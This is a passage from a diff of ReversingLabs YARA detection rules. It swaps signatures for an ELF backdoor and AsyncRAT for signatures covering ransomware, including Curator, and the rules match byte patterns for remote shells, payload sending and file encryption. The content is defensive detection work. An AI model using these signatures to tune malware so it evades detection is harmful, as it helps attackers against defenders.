?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 57 6A ?? 8B FA 8B F1 + FF 15 ?? ?? ?? ?? 33 C0 50 50 89 45 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 57 56 + FF 15 ?? ?? ?? ?? 8B D3 8B C8 E8 ?? ?? ?? ?? 83 3B ?? 8B F0 75 ?? 68 ?? ?? ?? ?? EB + ?? 81 3B ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? EB ?? 81 3B ?? ?? ?? + ?? 74 ?? 81 3B ?? ?? ?? ?? 74 ?? 85 F6 74 ?? 83 C8 ?? EB ?? 83 65 ?? ?? 8D 75 ?? 8B + 45 ?? 8B FB C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? A5 A5 A5 8B 4D ?? 5F 5E 33 CD 5B E8 ?? + ?? ?? ?? C9 C3 } - $send_payload = { - 41 55 B8 ?? ?? ?? ?? 41 54 55 89 F5 53 48 89 FB 48 81 EC ?? ?? ?? ?? 48 85 FF 0F 84 - ?? ?? ?? ?? BF ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? - ?? ?? 89 EE 48 89 DF 48 89 C2 31 DB 49 89 C4 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D - 6C 24 ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ?? 48 89 D8 B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? BE - ?? ?? ?? ?? F3 48 AB C7 07 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 89 D8 B9 ?? ?? ?? - ?? 4C 89 EF F3 48 AB 48 8D B4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 49 BB ?? ?? ?? - ?? ?? ?? ?? ?? 4C 89 9C 24 ?? ?? ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 48 89 F7 48 89 - AC 24 ?? ?? ?? ?? B1 ?? F3 48 AB 48 89 D7 B1 ?? F3 48 AB 48 89 E9 8B 19 48 83 C1 ?? - 8D 83 ?? ?? ?? ?? F7 D3 21 D8 25 ?? ?? ?? ?? 74 ?? 89 C3 49 BA ?? ?? ?? ?? ?? ?? ?? - ?? 49 B9 ?? ?? ?? ?? ?? ?? ?? ?? C1 EB ?? A9 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 44 C3 48 - 8D 59 ?? 4C 89 94 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ?? 48 - 0F 44 CB 00 C0 8B 84 24 ?? ?? ?? ?? 48 83 D9 ?? 48 89 94 24 ?? ?? ?? ?? 66 C7 84 24 - ?? ?? 00 00 ?? ?? 48 29 E9 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? - ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 4C 89 A4 24 ?? ?? ?? ?? 89 - 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 - 89 C6 4C 89 EF 48 89 C3 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 DE F3 A6 74 ?? - 4C 89 E7 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? - 5B 5D 41 5C 41 5D C3 + $remote_connection_p2 = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 56 57 6A ?? 8B FA 8B F1 + FF 15 ?? ?? ?? ?? 33 C0 50 50 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? 57 56 FF 15 ?? ?? ?? + ?? 8B D3 8B C8 E8 ?? ?? ?? ?? 83 3B ?? 8B F0 75 ?? 68 ?? ?? ?? ?? EB ?? 81 3B ?? ?? + ?? ?? 75 ?? 68 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 85 F6 74 ?? 83 C8 ?? EB ?? 83 65 ?? + ?? 8D 75 ?? 8B 45 ?? 8B FB C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? A5 A5 A5 8B 4D ?? 5F 5E + 33 CD 5B E8 ?? ?? ?? ?? C9 C3 } - $execute_shell_command = { - 41 57 48 89 FE 41 56 41 55 41 54 55 53 BB ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 85 FF - 0F 84 ?? ?? ?? ?? BD ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 - 89 E9 F3 48 A5 8B 06 48 89 CD B1 ?? 89 07 48 8D BC 24 ?? ?? ?? ?? 48 89 E8 F3 48 AB - 31 FF E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 49 89 C6 48 89 DF 48 89 E8 48 8D 94 24 ?? ?? ?? - ?? BE ?? ?? ?? ?? F3 48 AB 48 83 C2 ?? 48 89 DF E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 - DF E8 ?? ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 84 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8D 9C - 24 ?? ?? ?? ?? 4C 8D 7C 24 ?? 45 31 E4 31 ED E8 ?? ?? ?? ?? 31 D2 89 C7 41 89 C5 BE - ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 80 CC ?? BE ?? ?? ?? ?? 44 89 EF 89 C2 31 C0 E8 ?? - ?? ?? ?? 0F 1F 44 00 ?? 31 C0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB BA ?? ?? ?? ?? 48 89 - DE 44 89 EF E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 C0 74 ?? 44 8D 24 28 41 81 FC ?? ?? ?? - ?? 77 ?? 89 ED 48 63 D0 48 89 DE 49 8D 3C 2F E8 ?? ?? ?? ?? 31 FF E8 ?? ?? ?? ?? 4C - 29 F0 48 83 F8 ?? 0F 87 ?? ?? ?? ?? 44 89 E5 45 31 E4 EB ?? 0F 1F 84 00 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 38 ?? 75 ?? 41 83 C4 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 83 FC ?? - 0F 8E ?? ?? ?? ?? 41 89 EC BB ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? BF ?? ?? ?? - ?? E8 ?? ?? ?? ?? 45 85 E4 74 ?? 48 8D 7C 24 ?? 44 89 E6 E8 ?? ?? ?? ?? 48 81 C4 ?? - ?? ?? ?? 89 D8 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + $encrypt_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? + 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 8B 45 ?? 83 F8 ?? C7 45 ?? ?? ?? ?? ?? 0F + 94 C7 83 F8 ?? 0F 94 C3 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 0F B6 C3 83 F0 ?? 8D 04 + 45 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 6A ?? FF 76 ?? FF 15 ?? ?? ?? ?? 8B C8 89 4E ?? + 85 C9 0F 84 ?? ?? ?? ?? 84 FF 74 ?? BF ?? ?? ?? ?? EB ?? 0F B6 C3 8D 3C 45 ?? ?? ?? + ?? 8B 56 ?? 8B 46 ?? 85 D2 7C ?? 0F 8F ?? ?? ?? ?? 85 C0 72 ?? 85 D2 7C ?? 0F 8F ?? + ?? ?? ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 55 ?? EB ?? 0F 57 C0 66 0F 13 + 45 ?? 8B 45 ?? FF 75 ?? 50 FF 75 ?? FF 75 ?? 57 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D + 4D ?? 89 46 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? + 59 5F 5E 5B 8B E5 5D C2 + } + $encrypt_files_p2 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 56 A1 ?? ?? ?? ?? 33 C5 + 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 83 7E ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? + ?? 8B 4D ?? 85 C9 74 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 45 ?? 85 C0 74 ?? 0F + 8E ?? ?? ?? ?? 83 F8 ?? 7E ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? EB ?? F6 C1 ?? C7 45 ?? ?? + ?? ?? ?? B8 ?? ?? ?? ?? 0F 95 C0 40 89 45 ?? 83 7D ?? ?? 7F ?? 0F 8C ?? ?? ?? ?? 83 + 7D ?? ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 7F ?? 0F 8C ?? ?? ?? ?? 83 7D ?? ?? 0F 82 ?? + ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 8D 45 ?? 8B + CE 50 E8 ?? ?? ?? ?? 8D 45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B E5 5D C2 ?? ?? 8D 45 ?? 6A + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? + ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 + ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 + 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 } condition: - uint32( 0 ) == 0x464C457F and ( all of ( $connect_proxy_p* ) ) and ( $send_payload ) and ( $execute_shell_command ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } -rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Asyncrat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win64_Ransomware_Curator : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects AsyncRAT backdoor." + description = "Yara rule that detects Curator ransomware." author = "ReversingLabs" - id = "78ff36e1-1620-50f4-8abd-adcf8b1242da" - date = "2024-05-22" - modified = "2024-05-22" + id = "401f1d64-afd9-55b1-8e87-b808d4679e9a" + date = "2021-04-22" + modified = "2021-04-22" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.AsyncRAT.yara#L1-L149" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Curator.yara#L1-L94" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "53a13975cd53b571910f951adc44707c11b86c003eeb7b88dbe701253645ac89" + logic_hash = "8bd29195cea0f1194e27c48ed07c52100abb7dd3de2ef7f51a645d32c3527eb3" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "AsyncRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "Curator" tc_detection_factor = 5 importance = 25 strings: - $read_server_data_v1 = { - 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 28 ?? - ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 0A 06 16 3E ?? ?? ?? ?? 28 - ?? ?? ?? ?? 06 6A 58 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 6A 59 28 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 3A ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 16 6A 3E ?? ?? ?? ?? 16 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ?? - ?? ?? ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 69 28 ?? ?? ?? - ?? 69 6F ?? ?? ?? ?? 0B 07 16 3D ?? ?? ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? - ?? ?? ?? 07 6A 58 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 6A 59 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 16 6A 3C ?? ?? ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6A 30 ?? - 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 16 6A 28 ?? ?? ?? ?? 1A 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ?? - ?? ?? ?? 38 ?? ?? ?? ?? 1A 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ?? - ?? ?? ?? 16 6A 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6A 3C ?? ?? ?? ?? 16 - 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 69 28 ?? - ?? ?? ?? 69 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 6F ?? ?? ?? ?? 26 38 ?? ?? - ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 16 28 ?? ?? ?? ?? DD - } - $send_v1 = { - 28 ?? ?? ?? ?? 0A 16 0B 06 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DD ?? - ?? ?? ?? 02 8E 69 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? 26 28 ?? ?? - ?? ?? 08 16 08 8E 69 6F ?? ?? ?? ?? 02 8E 69 20 ?? ?? ?? ?? 3E ?? ?? ?? ?? 02 73 ?? - ?? ?? ?? 0D 16 13 ?? 09 16 6A 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 38 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 11 ?? 16 11 ?? 6F - ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 - 13 ?? 16 30 ?? DD ?? ?? ?? ?? 09 39 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? DC 28 ?? ?? ?? ?? - 15 17 6F ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? - 6F ?? ?? ?? ?? DD ?? ?? ?? ?? 26 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 07 39 ?? ?? ?? ?? - 06 28 ?? ?? ?? ?? DC - } - $read_packet_v1_p1 = { - 73 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 02 74 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B - 07 28 ?? ?? ?? ?? 0C 08 20 4F 01 89 64 42 ?? ?? ?? ?? 08 20 7A 39 BA 13 42 ?? ?? ?? - ?? 08 20 D4 CA CD 0C 3B ?? ?? ?? ?? 08 20 7A 39 BA 13 3B ?? ?? ?? ?? 38 ?? ?? ?? ?? - 08 20 2B C2 32 1B 3B ?? ?? ?? ?? 08 20 E2 A2 F4 57 3B ?? ?? ?? ?? 08 20 4F 01 89 64 - 3B ?? ?? ?? ?? 38 ?? ?? ?? ?? 08 20 5A 15 79 D9 42 ?? ?? ?? ?? 08 20 B7 16 DB 7A 3B - ?? ?? ?? ?? 08 20 39 20 3F B2 3B ?? ?? ?? ?? 08 20 5A 15 79 D9 3B ?? ?? ?? ?? 38 ?? - ?? ?? ?? 08 20 1E CA D2 DC 3B ?? ?? ?? ?? 08 20 45 FD B6 E0 3B ?? ?? ?? ?? 08 20 D0 - 5E 9B FA 3B ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? - ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? - ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? - ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 - } - $read_packet_v1_p2 = { - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 73 ?? - ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? - 16 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 7E ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 6F ?? - ?? ?? ?? 73 ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 06 7B ?? - ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? - 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 0D 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 11 ?? - 6F ?? ?? ?? ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 12 ?? (FE | 16) ?? ?? ?? - ?? ?? 6F ?? ?? ?? ?? DC 73 ?? ?? ?? ?? 26 06 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? - 73 ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 38 ?? ?? ?? ?? - 7E ?? ?? ?? ?? 25 3A ?? ?? ?? ?? 26 7E ?? ?? ?? ?? (FE | 06) ?? ?? ?? ?? ?? 73 + $encrypt_files_p1 = { + 44 8B CB C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 48 8D 8D ?? ?? ?? ?? 33 D2 FF 15 ?? ?? ?? + ?? 48 8B BD ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 48 8B 0D ?? + ?? ?? ?? 41 8B DC 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 7E ?? 45 33 F6 48 8B + 05 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 41 0F BE 8C 06 ?? ?? ?? ?? 45 0F + BE 8C 06 ?? ?? ?? ?? 89 4C 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2 48 8D 8D + ?? ?? ?? ?? 44 8D 42 ?? E8 ?? ?? ?? ?? 8B CB 4D 8D 76 ?? FF C3 41 83 C4 ?? 88 84 0D + ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 81 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 44 3B E0 7C + ?? 4C 8D 35 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 E4 48 89 44 24 ?? 48 8D 95 ?? ?? + ?? ?? 45 33 C9 44 89 64 24 ?? 44 8B C3 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? + ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 4C 24 ?? 48 8B 15 ?? ?? ?? ?? 4C 8B C3 E8 ?? ?? ?? + ?? 48 8B 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 8D 44 24 ?? + 48 89 44 24 ?? 45 33 C9 48 8D 44 24 ?? 89 9D ?? ?? ?? ?? 33 D2 48 89 44 24 ?? FF 15 + ?? ?? ?? ?? 85 C0 74 ?? 41 8B DC 44 39 A5 ?? ?? ?? ?? 76 ?? 8B C3 4C 8D 05 ?? ?? ?? + ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 44 0F B6 4C 04 ?? E8 ?? ?? ?? ?? 48 8D 95 ?? + ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? FF C3 3B 9D ?? ?? ?? ?? 72 ?? 48 8B 8D ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 33 D2 48 8B CF FF 15 ?? ?? ?? ?? B9 } - $send_v2 = { - 7E ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 16 13 ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7E ?? - ?? ?? ?? 39 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 8E - B7 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 06 08 16 08 8E B7 - 6F ?? ?? ?? ?? 06 07 16 07 8E B7 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? - 26 7E ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 16 06 6F ?? ?? ?? ?? B7 16 14 (FE | 06) ?? ?? ?? - ?? ?? 73 ?? ?? ?? ?? 14 6F ?? ?? ?? ?? 26 DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC DE ?? - 25 28 ?? ?? ?? ?? 0D 16 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? DE ?? 11 ?? 2C ?? 11 ?? - 28 ?? ?? ?? ?? DC + $encrypt_files_p2 = { + 48 8B C4 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 55 41 54 41 55 41 56 41 57 48 8D A8 ?? + ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 + 85 ?? ?? ?? ?? 45 33 E4 C7 44 24 ?? ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 44 89 25 ?? ?? ?? + ?? 48 8D 95 ?? ?? ?? ?? 44 89 25 ?? ?? ?? ?? 33 C9 44 89 25 ?? ?? ?? ?? 45 8B FC 4C + 89 25 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 63 C8 + 48 8D 85 ?? ?? ?? ?? 48 8D 04 48 48 83 C0 ?? 66 83 38 ?? 75 ?? 66 44 89 20 4C 8D 05 + ?? ?? ?? ?? 48 83 C0 ?? 4C 89 64 24 ?? 48 89 05 ?? ?? ?? ?? 45 33 C9 48 8D 05 ?? ?? + ?? ?? 44 89 64 24 ?? 33 D2 48 89 05 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? 33 D2 33 C9 + 44 8D 42 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 48 8B 1D ?? ?? ?? ?? 48 81 C3 + ?? ?? ?? ?? EB ?? 48 8B CB FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D3 48 8B CE 44 + 8B F0 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? + 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 41 8D 46 } - $open_url_v2 = { - 03 39 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 20 00 0C 00 00 28 ?? ?? ?? ?? 20 0F 27 00 00 28 - ?? ?? ?? ?? DE ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 02 28 ?? ?? ?? ?? 74 ?? ?? ?? - ?? 0A 06 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 7E ?? ?? ?? ?? 8E B7 6F ?? ?? ?? ?? 9A 6F ?? - ?? ?? ?? 06 17 6F ?? ?? ?? ?? 06 20 10 27 00 00 6F ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 0B DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC - 2B ?? 02 28 ?? ?? ?? ?? 26 + $find_files = { + 48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B + 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 4C 8D 05 ?? ?? ?? ?? 4C 8B C9 + BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8D ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? + 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 